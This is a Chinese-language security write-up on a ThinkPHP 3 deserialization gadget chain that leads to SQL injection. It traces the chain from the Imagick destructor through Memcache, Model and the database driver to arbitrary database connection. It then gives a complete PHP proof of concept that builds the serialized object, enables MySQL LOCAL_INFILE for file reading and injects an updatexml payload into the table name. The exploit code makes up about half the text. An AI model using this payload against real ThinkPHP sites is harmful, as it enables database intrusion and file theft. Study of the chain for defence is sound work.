[TOC]
模板解析导致RCE
sql注入&反序列化
找链子
自己从 0 到 1去找是不可能的,只能抄抄文章这样子。大概写写,别的师傅写的很详细了
反序列化一般都是从 __destruct()
作为入口,这里找到 /ThinkPHP/Library/Think/Image/Driver/Imagick.class.php
接着回溯 destroy()
,在 /ThinkPHP/Library/Think/Session/Driver/Memcache.class.php
,这个 $handle
可控,传入参数部分可控
这个方法是有参的,但是上面的析构方法并未给他传参,这个方式在 PHP5 的时候是被允许的,只报 wring,PHP7 不行
再回溯 delete()
找到 /ThinkPHP/Library/Think/Model.class.php
,捡重要的说
这里 pk
可控,options
是前面传进来的参数,也可控,当传入值为空值时会进入 第二层 if ,那它又会调用自身,由于 pk
可控那也就是 delete()
方法的参数完全可控,delete()
再往下看
这里 $options['where']
不能为空,也就是 $this->data[$pk]['where']
不能为空,接着进入 驱动类的 delete()
来到:/ThinkPHP/Library/Think/Db/Driver.class.php
这里只需要控制 $table
即可控制 $sql
,因为 parseTable()
没有过滤任何东西
然后来到 execute()
,开头有 初始化操作,跟进去
通过控制 config['deploy']
为非空使程序进入 $this->connect()
到这里就找到了一个可以连接任意数据库的链子了
抄 POC
POC 来源 参考文章,懒得写了,有轮子hhh
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启才能读取文件
);
protected $config = array(
"debug" => 1,
"database" => "thinkphp3",
"hostname" => "127.0.0.1",
"hostport" => "3306",
"charset" => "utf8",
"username" => "root",
"password" => ""
);
}
}
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;
public function __construct(){
$this->handle = new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;
public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "mysql.user where 1=updatexml(1,user(),1)#",
"where" => "1=1"
);
}
}
}
namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}